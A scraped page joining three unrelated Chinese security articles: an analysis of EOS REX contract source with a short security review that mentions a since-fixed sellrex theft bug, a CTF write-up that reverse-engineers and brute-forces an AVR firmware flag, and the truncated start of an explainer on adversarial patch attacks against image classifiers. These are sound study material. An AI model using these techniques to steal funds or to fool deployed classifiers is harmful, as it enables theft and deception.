终于上线了，这个号称稳赚不亏的投资项目吸引了众多人的目光，同时也霸占了各大区块链媒体的头条，其火热程度不亚于平台币，一上线便涌入了大量的资金。但是 REX
究竟是什么呢？REX 又有什么用？本系列基于 rex1.6.0-rc2 源码进行分析，给出相关的细节及答案。
## 什么是 REX
REX，全称 Resource Exchange，即资源交易所，是为了提供一个更好的资源租赁平台，缓解 EOS 高昂的资源使用成本，以更少的 EOS
换取更多的资源。同时也可以增加用户投票，促进 EOS 系统的良性运转。现在市面上有许多资源租赁 DApp，目的也是为了用于缓解 CPU 紧缺的问题。REX
与这些平台一样，都是充当租赁平台的角色，不同的是资源出租方不再是 DApp，而是每一个 EOS
持有者都能成为资源出租方，并享受收益。这里需要重点声明的是，REX 不是一种代币，而是一个资源租赁平台！用户购买的 REX 只是流转于 REX
租赁平台内的一种通证，用于证明用户出租了资源，这种通证本身不可流转，无法交易。类似于国债，REX 就是手中的债券。为了区分这两个概念，下文统一将 REX
资源租赁平台称为 REX。而用户购买得到的通证称为 rex。
更详细的资料可以参看 BM 自己的[文章](https://medium.com/@bytemaster/proposal-for-eos-resource-renting-rent-distribution-9afe8fb3883a)
## REX 攻略
对于一般用户而言，买卖 rex 只需要接触到以下几个接口，分别是：
1、depodit：用于充值，将 EOS 变成 SEOS，也叫预备金。
2、withdraw：用与提现，将 SEOS 换回 EOS。
3、buyrex：用于从用户的预备金中扣除相应的份额，并用于 rex 的购买。
4、sellrex：用于卖出已经结束锁定的 REX，并将本金连带收益一起放进用户的预备金账户中。
5、unstaketorex：将用于抵押中的资源用于 rex 的购买。
下面，我们一起来看下这几个函数的实现，了解资金的流向。
## deposit 函数
deposit 函数是用户参与 REX 的第一个接口，顾名思义，用户充值以备后来购买
rex。就像去游戏厅充值游戏币一样，先把人民币换成游戏厅的点数冲进卡里，然后用这张卡进行后续的游戏，后续的所有花费都是基于这张卡的。REX
也是相同的道理，后续所有的买卖操作都基于这个储备金账户。deposit 函数的具体实现如下：
void system_contract::deposit( const name& owner, const asset& amount )
{
require_auth( owner );
check( amount.symbol == core_symbol(), "must deposit core token" );
check( 0 < amount.amount, "must deposit a positive amount" );
INLINE_ACTION_SENDER(eosio::token, transfer)( token_account, { owner, active_permission },
{ owner, rex_account, amount, "deposit to REX fund" } );///充值进rex账户
transfer_to_fund( owner, amount );///初始化用户余额，不存在用户则新增用户，存在则累加金额
update_rex_account( owner, asset( 0, core_symbol() ), asset( 0, core_symbol() ) );
}
我们不需要了解每一行的具体实现，但是大概的道理是需要明白的。deposit 函数做了以下事情：
1、首先在第三行校验了用户权限，总不能平白无故的让别人给自己买了 rex，绕过自己的意志。
2、在第五行和第六行对购买金额和代币的信息进行校验，不能拿假的 EOS 来买，也不能买个负数的，保证 REX 的安全性。
3、把用户的 EOS 打进 eosio.rex 账户，你的钱就从你的口袋，转到了 eosio.rex 系统账户上了。
4、调用 transfer_to_fund 接口，把用户的充值金额用小本本记起来，这相当我们的储备金钱包，在数据体现上是一个表，后续将根据这个表进行 rex
的购买。
5、调用 update_rex_account 接口，这个接口在输入不同的参数的时候有不同的功能，这里是用于处理用户的卖单，把用户卖 rex
得到的收益一并整理进储备金账户中。
## withdraw 函数
withdraw 函数是 deposit 函数的反向接口，用于将储备金账户中的余额转移到用户的 EOS
账户中，就像你在游戏厅玩够了，卡里还有点数，或玩游戏赢到点数放进卡里，就可以用卡里的点数换回人民币，下次再来，withdraw
函数的道理也是一样的。withdraw 函数的具体实现如下：
void system_contract::withdraw( const name& owner, const asset& amount )
{
require_auth( owner );
check( amount.symbol == core_symbol(), "must withdraw core token" ); ///EOS符号校验
check( 0 < amount.amount, "must withdraw a positive amount" );
update_rex_account( owner, asset( 0, core_symbol() ), asset( 0, core_symbol() ) );
transfer_from_fund( owner, amount );
INLINE_ACTION_SENDER(eosio::token, transfer)( token_account, { rex_account, active_permission },
{ rex_account, owner, amount, "withdraw from REX fund" } );
}
与 deposit 函数大致一样，withdraw 函数同样对 EOS 代币的信息进行了相关的校验，与 deposit 函数不一样的是，withdraw
函数调用 update_rex_account 接口和 transfer_from_fund 接口的顺序与 deposit
函数不一样。但目的都是为了处理用户的 rex 卖单，将收益归结进储备金账户中。分别用于提现或购买 rex。这里详细的细节分析将放到后续文章之中。
## buyrex 函数
折腾了那么久，怎么充值看完了，怎么提现也看完了，下面就到了我们最关心的问题，就是该怎么买的问题了。买 rex 调用的接口为 buyrex
函数，函数的具体实现如下：
void system_contract::buyrex( const name& from, const asset& amount )
{
require_auth( from );
check( amount.symbol == core_symbol(), "asset must be core token" );
check( 0 < amount.amount, "must use positive amount" );
check_voting_requirement( from );//检查用户是否投票
transfer_from_fund( from, amount ); //从用户的基金中扣除，需要先通过despoit函数进行充值之后才能进行rex的购买
const asset rex_received = add_to_rex_pool( amount ); //计算能获得的rex的数量
const asset delta_rex_stake = add_to_rex_balance( from, amount, rex_received ); ///更改用户账户中的rex的数量
runrex(2);
update_rex_account( from, asset( 0, core_symbol() ), delta_rex_stake );
// dummy action added so that amount of REX tokens purchased shows up in action trace
dispatch_inline( null_account, "buyresult"_n, { }, std::make_tuple( rex_received ) );
}
和前面两个函数一样，buyrex 函数同样也校验了代币的相关信息，然后使用 transfer_from_fund
函数从用户的储备金中扣除相应的金额。除此之外，我们还应该关注另外三个函数，分别是
check_voting_requirement，add_to_rex_pool 和
add_to_rex_balance。这三个函数分别用于检查用户是否投票、计算能购买到的 rex 的数量并把相应增加的 rex 数量加到 rexpool
中、记录用户购买的 rex 信息并计算用户购买的 rex 的解锁时间。那么，我们能获取到的 rex 的数量是怎么计算出来的呢？从源码上我们可以看到，计算
rex 的数量调用了 add_to_rex_pool 函数。所以，下面将着重分析 add_to_rex_pool 函数。
## add_to_rex_pool 函数
add_to_rex_pool 函数用于将用户购买的 rex 放进 rex_pool 中，并根据 rex_pool 中的相关信息计算出用户能够购买的 rex
的数量。首先我们先看下 rex_pool 表的定义：
struct [[eosio::table,eosio::contract("eosio.system")]] rex_pool {
uint8_t version = 0;
asset total_lent; /// total amount of CORE_SYMBOL in open rex_loans
asset total_unlent; /// total amount of CORE_SYMBOL available to be lent (connector)
asset total_rent; /// fees received in exchange for lent (connector)
asset total_lendable; /// total amount of CORE_SYMBOL that have been lent (total_unlent + total_lent)
asset total_rex; /// total number of REX shares allocated to contributors to total_lendable
asset namebid_proceeds; /// the amount of CORE_SYMBOL to be transferred from namebids to REX pool
uint64_t loan_num = 0; /// increments with each new loan
uint64_t primary_key()const { return 0; }
};
以上是 rex_pool 表的定义，其中定义了 8 个字段，除去 version 参数，我们分别一个一个解释每个参数的意思
1、total_lent：用于记录总共被借出了多少的 cpu 资源和 net 资源，这个资源是以 EOS 为单位的。
2、total_unlent：记录 rex_pool 中未用于出借的 EOS 资源。包括用户因为购买 rex
所产生的可用于出租的金额，租用资源的用户的租金。 这其中有一部会因为出租资源而锁定的金额(30 天后自动解锁)，是一个 connector，用于
bancor 操作，计算一定数量的 EOS 可租借的资源。
3、total_rent：用于记录用户在租用资源的时候支付的租金，是一个
connector，其反应了租借资源的用户的多少。用于bancor操作，计算一定数量的 EOS 可租借的资源。
4、total_lenable:可以说是整个 rex_pool 的所有资金，计算公式为 total_unlent +
total_lent。这里的资金来源还包括 name bid 的竞拍费用以及 ram fee。这个参数同时和用户的收益息息相关。
5、total_rex：rex_pool 中 rex 的总量，其来源于用户购买 rex。
6、namebid_proceeds：记录竞拍账户产生的费用。
7、loan_num：记录出租资源的总次数。
明白了以上字段的定义，我们现在正式看看 add_to_rex_pool 函数，以下是函数的具体实现。
asset system_contract::add_to_rex_pool( const asset& payment )
{
/**
* If CORE_SYMBOL is (EOS,4), maximum supply is 10^10 tokens (10 billion tokens), i.e., maximum amount
* of indivisible units is 10^14. rex_ratio = 10^4 sets the upper bound on (REX,4) indivisible units to
* 10^18 and that is within the maximum allowable amount field of asset type which is set to 2^62
* (approximately 4.6 * 10^18). For a different CORE_SYMBOL, and in order for maximum (REX,4) amount not
* to exceed that limit, maximum amount of indivisible units cannot be set to a value larger than 4 * 10^14.
* If precision of CORE_SYMBOL is 4, that corresponds to a maximum supply of 40 billion tokens.
*/
const int64_t rex_ratio = 10000;
const int64_t init_total_rent = 20'000'0000; /// base amount prevents renting profitably until at least a minimum number of core_symbol() is made available
asset rex_received( 0, rex_symbol );
auto itr = _rexpool.begin();
if ( !rex_system_initialized() ) {
/// initialize REX pool
_rexpool.emplace( _self, [&]( auto& rp ) {
rex_received.amount = payment.amount * rex_ratio; ///计算能获得的rex的数量
rp.total_lendable = payment;///由于用户 buy rex，使得 rex pool 中有可出租的 EOS，所以 rex_lendable 为首位用户的购买资金
rp.total_lent = asset( 0, core_symbol() );///初始化rex pool，暂时还没有人借资源
rp.total_unlent = rp.total_lendable - rp.total_lent; ///计算还能借的
rp.total_rent = asset( init_total_rent, core_symbol() );
rp.total_rex = rex_received;
rp.namebid_proceeds = asset( 0, core_symbol() );
});
} else if ( !rex_available() ) { /// should be a rare corner case, REX pool is initialized but empty
_rexpool.modify( itr, same_payer, [&]( auto& rp ) {
rex_received.amount = payment.amount * rex_ratio;
rp.total_lendable.amount = payment.amount;
rp.total_lent.amount = 0;
rp.total_unlent.amount = rp.total_lendable.amount - rp.total_lent.amount;
rp.total_rent.amount = init_total_rent;
rp.total_rex.amount = rex_received.amount;
});
} else {
/// total_lendable > 0 if total_rex > 0 except in a rare case and due to rounding errors
check( itr->total_lendable.amount > 0, "lendable REX pool is empty" );
const int64_t S0 = itr->total_lendable.amount;
const int64_t S1 = S0 + payment.amount;
const int64_t R0 = itr->total_rex.amount;
const int64_t R1 = (uint128_t(S1) * R0) / S0;
rex_received.amount = R1 - R0; ///计算能获得的rex
_rexpool.modify( itr, same_payer, [&]( auto& rp ) {
rp.total_lendable.amount = S1;
rp.total_rex.amount = R1;
rp.total_unlent.amount = rp.total_lendable.amount - rp.total_lent.amount;
check( rp.total_unlent.amount >= 0, "programmer error, this should never go negative" );
});
}
return rex_received;
首先我们看下我们能购买到的 rex 是怎么计算的。当 rex_pool 迎来第一个购买 rex 的用户的时候，获得 rex 的获取比例是 1:10000，即
1 个 EOS 换 10000 个 rex，往后购买 rex 的用于按照公式((uint128_t(S1) R0) / S0) – R0计算能获取的
rex。看起来很复杂对不对？我们对公式进行分解下，首先进行以下转换，公式变为（S1 / S0 R0) – R0，再代入 S1，得到((S0 +
payment) / S0 R0) – R0，最后我们进行分解再去括号，得到 R0 + (payment / S0) R0 –
R0。最后这个公式就变成了(payment / S0) R0。再变一下，变成 payment (R0 / S0),即用户用于购买 rex 的资金乘以当前
rex_pool 中的 EOS 总资产与 rex_pool 中的 rex 的总量之间的比例。这个比例在没有第三方资金如账户竞拍费用，ram fee
等的干扰下是固定不变的，为 1:10000。但是当有第三方资金入场的时候，作为分母的 S0 就会不断变大，那么这个比例就不断变小，同样的金额能买到的 rex
就会越来越少。通过上面的分析，我们知道，在有第三方资金的参与下，rex 买得越早，能买到的数量就越多。rex
的价格与购买的人数无关，而与租借资源的数量，系统竞拍资源产生的收益，以及 ram fee有关。
## sellrex 函数
那么，现在流程走到这里，剩下的就是计算收益的问题了。用于处理用户出租 EOS 资源产生收益的计算细节的实现全部在 sellrex 函数中。以下是
sellrex 函数的具体实现。
void system_contract::sellrex( const name& from, const asset& rex )
{
require_auth( from );
runrex(2);
auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
"asset must be a positive amount of (REX, 4)" );
process_rex_maturities( bitr ); ///先收获成熟的rex
check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex
auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
//订单状态不成功
if ( !current_order.success ) {
/**
* REX order couldn't be filled and is added to queue.
* If account already has an open order, requested rex is added to existing order.
*/
auto oitr = _rexorders.find( from.value );
if ( oitr == _rexorders.end() ) {
oitr = _rexorders.emplace( from, [&]( auto& order ) {
order.owner = from;
order.rex_requested = rex;
order.is_open = true;
order.proceeds = asset( 0, core_symbol() );
order.stake_change = asset( 0, core_symbol() );
order.order_time = current_time_point();
});
} else {
_rexorders.modify( oitr, same_payer, [&]( auto& order ) {
order.rex_requested.amount += rex.amount;
});
}
pending_sell_order.amount = oitr->rex_requested.amount;
}
check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
// dummy action added so that sell order proceeds show up in action trace
if ( current_order.success ) {
dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
}
}
这个 sellrex
函数有很多学问，完整说下来可能不是这篇短短的分析能写完的，但是可以分析我们最关心的问题，就是获得的收益是怎么计算出来的。首先我们不管其他细节，先看看在真正计算收益之前做了什么。主要分为以下几步：
1、检查用户购买了 rex 没有，总不能没买就能卖对吧。
2、通过 process_rex_maturities 函数计算结束锁定的 rex，用户从购买的 rex 到卖 rex 需要 4 天的释放期。
3、检测需要卖出的 rex 的数量是否小于结束锁定的 REX 的数量。
通过以上几步检查之后，就真正进入了结算函数。rex 的收益结算是通过 fill_rex_order 接口实现的。看下具体实现
## fill_rex_order
rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
{
auto rexitr = _rexpool.begin();
const int64_t S0 = rexitr->total_lendable.amount;
const int64_t R0 = rexitr->total_rex.amount;
const int64_t p = (uint128_t(rex.amount) * S0) / R0; ///越多人借资源收益越高
const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
asset proceeds( p, core_symbol() ); ///获得的收益
asset stake_change( 0, core_symbol() );
bool success = false; ///默认订单完成状态为0
check( proceeds.amount > 0, "proceeds are negligible" );
const int64_t unlent_lower_bound = rexitr->total_lent.amount;
//计算能未质押的rex pool中的EOS的数量，用于接下来观察是否足够支付用户产生的rex利润
const int64_t available_unlent = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible
//rexpool中的钱足够支付rex利润
if ( proceeds.amount <= available_unlent ) {
const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
const int64_t current_stake_value = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
_rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
rt.total_rex.amount = R1;///更新rex pool中的rex的数量
rt.total_lendable.amount = S1; ///更新lenableEOS数量
rt.total_unlent.amount = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
});
//对用户的rexbalance账户进行操作
_rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
rb.vote_stake.amount = current_stake_value - proceeds.amount;
rb.rex_balance.amount -= rex.amount;
rb.matured_rex -= rex.amount; ///减少已经成熟的rex的数量
});
stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
success = true;
///不够钱支付的情况
} else {
proceeds.amount = 0;
}
return { success, proceeds, stake_change };
}
同样的，类似 add_to_rex_pool，我们也可以抛开其他细节，直击最核心的收益计算公式，即第 6
行的计算公式。（uint128_t(rex.amount) S0）/
R0，这个函数虽然看起来同样的复杂，但是我们可以用相同的方法进行简化。首先我们对公式进行一些转换，变成 rex.amount / R0 S0，加个括号，变成
rex.amount * (R0 / S0),即你能收益的 rex 是你要卖的 rex 乘以 rex_pool 中 rex 总量和 rex_pool 中得总
EOS 总资产之间的比例，这个比例在没有第三方资金如 name bid 和 ram fee 加入的情况下也是维持稳定不变的 10000:1。
## 我们知道了什么？
一口气说了一大堆，看到这里的你可能还有点茫然，可能只是记住了两个公式的转化，不打紧。我来总结下这次看完文章的的收获。通过以上的分析，我们知道买 rex 和卖
rex 都是根据 rex 总量和 rex_pool 中的 EOS 的总资金之间的比例进行计算的，也就是说在没有第三方资金参与，用户的 EOS 总是按
1:10000 的比例变成 rex，再按 10000:1 的比例再变成 EOS。这说明，在没有第三方资源的情况下，rex 和 EOS
总是按照一定的比例进行互换，这也是为什么 REX 号称稳赚不亏的原因。同时，在有第三方资金入场的时候，R0 / S0 的比例就会变小，也意味着 S0 /
R0 的比例变大，虽然同样资金买到的 rex 变少了，但是，卖出去的比例就变大了，获得的收益就变得更多了。
整个参与的流程大致如下：
## REX 安全性分析
REX 作为 EOS 本身的系统合约，其安全防护必须要做到面面俱到，一旦出现问题，将造成灾难性的影响。REX 合约已经由 EOS Authority
团队进行义务安全审计，但作为一名安全人员，笔者同时也对 REX
的整个架构进行了深入的思考，文章将会陆续对每个文章提及到的接口进行分析，阐述其安全性或安全性增强建议。
本文粗略介绍了四个接口，分别是deposit，withdraw，buyrex，sellrex。
从函数实现上来看：
1、每个函数都有对 asset 参数的信息进行校验，包括数量，代币的符号信息是否与系统代币信息一致。防止可能的假充值问题和溢出问题。
2、用户的关键操作都有权限校验，防止越权操作。
同时，文章内介绍的四个接口不存在 EOS 上常见的攻击手法如回滚攻击，排挤攻击，假通知攻击。
但值得注意的是，在这几个函数中，sellrex 函数曾存在一个严重漏洞(现已修复)，导致用于可以从 REX 中盗取资产。
详细信息如下：
<https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details>
漏洞的成因在于进行 sellrex 操作的时候 REX
系统可能会不够钱支付用户的收益，在这种情况下，用户的卖单就会挂起，如果没有校验订单，恶意用户就能在系统资金不足的情况下一直进行 sellrex
操作，一直增加挂起订单的金额，直到有系统有足够的资源支付用户的收益
## 结语
REX 是一个庞大的系统，不存在三言两语将全部细节分析到位情况，文章没有分析太多的技术细节，只是大概分析了每个函数的大概作用，介绍了关于 REX
收益最核心的地方。想要了解具体细节的朋友可以持续关注我们的系列文章～下一篇文章将会继续说明这些函数之间更加好玩的细节！文章可能有说得不对的地方，欢迎大家指点交流。
## 声明
本文仅用作技术参考，不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。 | 社区文章 |
# UCTF2016 twi Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
该题目分类为REVERSE。最终目标是提交一个flag。
从题目来看，本题目应该是UCTF 2016中的题目，可能是由于笔者的搜索能力还有待提高，没有能够找到相关的Writeup。所以，本次只能自己摸着石头过河了。
题目下载地址：<https://dn.jarvisoj.com/challengefiles/twi.70087b1e507aee08fc5c376a7b5ccc80>
## 解题准备
### 验证下载正确性
### 基础信息分析
#### 文件类型识别
可以看到，文件是Atmel AVR 8-bit 的ELF文件。
查看是否有隐藏信息
从binwalk的结果来看，应该没有什么隐藏的数据。
字符串分析
各位小伙伴看到这个是不是就已经跃跃欲试了啊。反正我当时是觉得前途光明，形势非常好。不是小好，而是大好。。。
### 环境准备
#### 模拟器
笔者手头并没有Atmel AVR架构的板子，所以优先考虑使用模拟器。
经过搜索，发现了三款模拟器：
* simavr
* simulavr
* qemu-system-avr
考虑到simavr在网络上得到了比较多的推荐，优先考虑使用之。
笔者的系统是Ubuntu 20.04 LTS on Windows 10 WSL。这三款模拟器都可以通过apt 直接安装。
sudo apt install simavr
安装成功后，可以执行一下，看看说明信息。在说明信息中，发现了–list-cores参数。我们一并来看一下simavr都支持哪些core。
#### 调试器
有了模拟器，我们可以执行镜像了。接下来，需要调试工具。
sudo apt install gdb-avr
gdb这种神器想必大家已经用得出神入化，不用笔者这种小白啰嗦啦。
#### 反编译器
考虑到笔者对版权的洁癖以及贫穷，IDA虽然强大，但也只能忍痛放弃。
其实Ghidra已然足够强大了，我们本次选择ghidra_9.1.2_PUBLIC_20200212作为逆向工作环境。
在Ghidra中Import 目标文件，AVR架构可以正常识别。之后进行自动分析。
可见镜像从地址0x000000开始。由于镜像没有任何symbol或者debug信息，此处可能需要手动按D来强制进行反汇编。细心的小伙伴可能已经发现，明明每个指令是两个字节，但是前面的地址并没有按照两个字节增加。。。
#### Atmel AVR架构
Atmel AVR 8-bit 是一个精简指令集架构。具体信息大家可以去网上找。信息还是不少的，必定Arduino就是采用这个架构的。
AVR 采用哈弗结构，指令、数据分开寻址。从上面的图，大家可以看到code地址。其实还有一个mem地址。来看下图：
好的，我们现在来讨论一下上面说的，code地址的增加步进不是2的问题。
可以看到，mem寻址是按照1个字节的步进增加的。这里涉及到AVR的寻址模式。mem是按照正常的方式寻址，而code是按照2个字节为一组寻址。也就是内存中的地址是PC
* 2。
关于AVR 8-bit的寄存器，总体来说和一般RISC架构的大同小异。不过这里要注意寄存器的别名。比如
W、X、Y以及Z，这个几个是用来间接寻址的寄存器。由于寻址需要，所以他们是8个通用寄存器，分成4对，作为4个16 bit寄存器。
需要注意的是，在gdb中执行“i r”的话，并不会显示这几个寄存器。为了能更方便的获取这几个寄存器的信息，笔者还专门写了一段gdb脚本。。。
在实际操作中，需要准备一份AVR 8-bit的指令说明书。笔者搞到这个里面里面带广告，就不放出来了，大家自己找找吧。
## 尝试运行
运行镜像，最大的挑战在于如何选择机型。笔者认为，越简单的东西，越不容易出问题。出了问题，也可以更方便的排查，所以先选择了atmega8
作为目标机型。当然，最终机型的确定是在整个解题过程中，一点点确定的。题目中的twi其实指的就是单片机中使用广泛的TWI协议，所以比如0x53、0x21和0x23肯定是TWI相关寄存器。另外，根据程序逻辑，判断0x60
肯定不能是寄存器，而是内存区域。
解题成功后，再次进行实验，目前发现atmega8 和 atmega32 都可以作为目标机型。
执行命令：
simavr -t -m atmega8 –gdb twi.70087b1e507aee08fc5c376a7b5ccc80
执行gdb，并attach：
avr-gdb
target remote :1234
这里笔者遇到了问题。尝试设定断点，可是得到：
首先，断点失败。这个在我偶然ptype
$pc的时候找到了答案。由于AVR是指令数据分开寻址，所以要设定断点，我们需要提供code地址而不是data地址。怎么提供呢？大家自己ptype
$pc下试试吧。当然，也可以参照笔者编写的gdb脚本。
其次，为啥明明设定的是0x26，地址却变成了0x800026。因为我们提供的0x26被认为是数据，而被模拟器自动转换到了对应的内存区域。具体情况大家可以参照simavr的源代码。
那么执行、断点的问题都解决了，我们可以开始进行逻辑分析了。
## 逻辑分析
### 入口点
通过Vector表，我们可以找到入口点：
这个函数是我自己加的，默认分析完这里是个label。这段代码的作用主要是进行栈的初始化，并且将程序段的一些数据copy到data区域以及进行一些内存区域的初始化。
从本块代码，我们可以看到，SP被初始化为0x45f。
接下来，将我们关注的字符串”flag{“ copy到了0x60。当然，还有”success”和”fail”
等等。然后跳转到了函数：FUN_code_0002d3。
### FUN_code_0002d3
这个函数里面逻辑还是挺多的。
嗯，顿时头大。到这里，笔者决定先跑起来看看。
### 寻找线索
运行起来，没有Log输出。（后来发现，偶尔会有”fail” 的log出来，应该是模拟器的问题。）
经过了几次c – CTRL_C 循环后，发现程序都停在这里：
接下来看看这里在干什么。注意，这里地址是0x240，需要换算成code地址：0x120。
经过一番痛苦的分析，笔者发现：这段逻辑是个延迟。没有发现任何side effect，纯纯的延时。嗯，那还能咋办，为了能够进一步分析，当然要干掉啊。
这里，干掉这个延时有两个办法：
1. 直接修改镜像，把无关紧要的代码修改为 xx c0或者 xx cf 跳转指令。
2. 在gdb中下套。
当然，考虑到解题也是以学习为目的，笔者两个办法都尝试了。这里贴一下gdb下套的方案：
细心的盆友们可能又要问了，这里pc的设定为啥是按照内存地址值呢？看下一gdb中pc的显示：
注意，虽然显示的时候是按照code地址显示，但是大家在使用$pc设定值和运算的时候，一定要用内存地址值哦。
### FUN_code_00012d
我们继续寻找线索。在把那个大延时干掉之后，我们又来到了一个新的区域。仍旧是c CTRL_C 循环，位置比较固定：
根据地址，寻找逻辑。
看到笔者对函数的命名，大家应该明白这个是干啥的了。这里，看起来好像很轻松就识别到了这个函数的作用，可是是实际上，笔者因此损失了多少本来就不多的头发啊！而且，靠的是灵光一闪，突然有思路。在无数次进入这个函数，笔者满地打滚、狂薅头发的过程中，突然想到：看看这东西到底在输出啥吧。。。
于是，这个函数的名字就有了。
接下来，肯定是要找引用点啦。
### success 与 fail
在Ghidra强大引用分析的帮助下，不到1秒就成功定位相关逻辑。这样一来，程序的大体逻辑基本清晰了。另外，这两个点都在FUN_code_0002d3函数中。这样，就可以通过这两个指令块，来向上逆推正确的逻辑路径了。
确定路径是逆向中比较基本的工作，这里不再赘述。
### 第一个分支点
其中，0x60中保存的字符串是：”flag{\0”。
进入函数，分析其逻辑。
由于生平第一次接触AVR架构，再次经过了满地打滚以及狂薅头发的分析之后，发现这个函数是在检查W所指向地址中的内容前的5个字节是不是等于”flag{”。
在这个时候，笔者还没想到TWI的真实意义。（原谅我对硬件的无知与迟钝），所以还以为程序运行到一定程度，会解密出flag放在内存中。于是，这里的解决方案是：将0x60的5个字节copy过来。。。虽然，结合谜底来看简直是蠢爆了，但是在最终解决问题阶段还是用上了，也算没白费劲儿。
（中式英语是伟大的！是她维护了文件编码的纯洁性。
— SimonTheCoder）
### 第二个分支点
接下来，来到LAB_code_00030a。
这段逻辑就比较容易理解了。在判断刚才那段内存中的0x26位置是不是”}”（0x7d）。
解决方案和上一个分支点的处理方法一致，你要什么，我就给什么。
### 数据处理函数
这里，涉及到两个函数（如图）。又是一番痛苦的分析之后，发现这两个函数一个是将flag{******}中的******(32个)向前移动5个字节，覆盖掉”flag{”。
另一个，将这32个字节作为hexstring转换为16个字节数据。
两个函数功能虽然简单，但是由于笔者对AVR不够熟悉，着实进行一番痛苦的分析。
### 最终分支
这个分支点是最后一个影响程序结果的分支点，也是最难搞的一个。
由于比较长，这里只截取了一小部分指令。这一大段逻辑，是用来对之前处理好的16字节数据进行校验的。注意是校验，而不是解密。
可以看到，最终是要判断R22和R10是否相当。根据逻辑，R10以及其它参与运算的寄存器的数据，都是从数据区域读出的固定值。而R22的基础值也是从固定数据中读出，与待验证的16个字节，经过运算后形成。
其中，负责提供算法复杂性的是FUN_code_00036c：
可以看到，大量寄存器参与了运算。并且还会进行mul运算。这么一段逻辑，估计要完全分析清楚估计要很长时间以及非常强大的精神力量。
另外，整段逻辑没有任何st指令。换言之，没有对内存进行写操作。这也就意味着，并不存在将数据解密后放在内存中的逻辑。笔者之前的猜测显然是错误的。
接受了这个事实之后，我们需要解决两个问题：
* 用来验证的flag是如何加载到内存中的。
* flag的内容为何。
### 再一次的 FUN_code_0002d3
为了解决之前的两个问题，重新回到 FUN_code_0002d3进行分析。
#### 用来验证的flag是如何加载到内存中的。
考虑到镜像文件中并没有相关的数据，那么只有可能是来自于外部输入。查看了一下FUN_code_0002d3中的函数调用：
几个函数中，只有000062我们目前还没有接触过。查看一下代码：
其实，只要分析清楚这块逻辑，就没有必要再进行000062的分析了。首先，可以看到这是个循环。该循环每次从FUN_code_000062中获得一个字节，放进Z中。而Z此时，正指向待check区域的地址（也就是flag放的地址）。（这个可以从gdb和使用了R3R2赋值两个角度来验证。）
len(“flag{}”)+len(“32字节神秘字符串”) = 0x6 + 0x20 = 0x26，count也对上了。
当然，实际上还是对FUN_code_000062进行了分析的。
节选一段。从代码来看，该函数再操作寄存器。根据寄存器，搜索了一下，发现是TWI相关寄存器。至此，题目中的TWI的来由我们清楚了。
从而，我们可以确定，本题目在板子上真机运行的时候，可以通过TWI将flag输入到程序中。
#### flag的内容为何。
确定了数据的来源，那么接下来解决数据的内容。
通过之前对数据校验区域的分析，我们可以得到一下结论：
* 算法非常复杂，短时间内难以完成你算法。
* flag的核心是32字节的hex string，经过处理函数处理后，得到了16字节数据。
* flag通过TWI 输入系统。
通过以上几个结论，再考虑到之前屏蔽掉的那个延时逻辑，那么解决方案就呼之欲出了，
出题人是在疯狂暗示我们：爆破。
## PWN
既然考虑到了爆破，那么爆破的可行性如何？
* 16*255 种可能，完全可以接受。
* 延时逻辑已经被干掉。
* 本来我们也不是通过TWI输入数据，相关函数可跳过，进一步节省时间。
* 可以通过gdb脚本实现自动化。
既然可行，那么接下来相对就要简单了。
* 通过断点下套，跳过耗时的逻辑。
* 通过之前的copy “flag{” 和写入 “}”来绕过分支点。
* 自动生成测试数据，填充到flag区域。
* 在check判定成功、失败节点上下断点，从而获取次测试结果。
具体实现，请参照：
<https://gist.github.com/SimonTheCoder/7ead8ca45008386c500c3d4813e19ff2>
脚本使用：
* 启动模拟器
* 启动gdb
* source help.gdb
* lk
* pwn
## 总结
本次的题目可以说非常折磨人，但是非常有趣。如果不研究到最后，不太容易想到需要爆破。如果没想到要爆破，也就不明白为啥前面有个奇怪的延时。直到最后，所有的线索都串起来了，豁然开朗。不过，虽然题目解开了，但是失去的头发和爆的肝也找不回来了。
最后，感谢出题人设计出这么有趣的题目。感谢Jarvis OJ提供了这么一个方便、高效又有趣的平台。对开帮助笔者这样的小白学习知识、开阔眼界提供了巨大的帮助。 | 社区文章 |
# 对抗补丁（Adversarial Patch）攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
说起AI的安全风险，除了耳熟能详的对抗样本之外，你还能想起什么攻击手段呢？本文介绍一种类似于对抗样本，但在特定方面，危害程度比对抗样本更强的攻击方案，即对抗补丁攻击(Advesarial
Patch Attack)，在本文的前半部分会介绍对抗补丁攻击的原理、概念，在后半部分会进行相关实验并给出两个重要结论。
## 概念
在对抗样本攻击中，攻击者总是希望尽可能减少扰动程度，以避免被发现，但是在对抗补丁攻击中，攻击者不再将自己限制在难以察觉的变化中。该攻击方案会生成一个与图像无关的补丁，然后可以将此补丁放置在图像中的任何位置，如此便能攻击分类器，让其输出指定的目标类别。如下是一个真实的例子
这是对线下实际部署的vgg16模型的攻击，上方是正确识别了香蕉，但是当补丁被加到图像中后，模型就会将其分类为烤面包机。这种攻击的好处在于，攻击者不需要知道被攻击的图像是什么样的，只需要将补丁加上，模型就会被欺骗，误分类到补丁对应的类别去，所以从攻击危害而言，远大于对抗样本。
## 辨析
现在我们知道的攻击手段有对抗样本攻击、对抗补丁攻击、后门攻击，他们之间有什么区别呢？
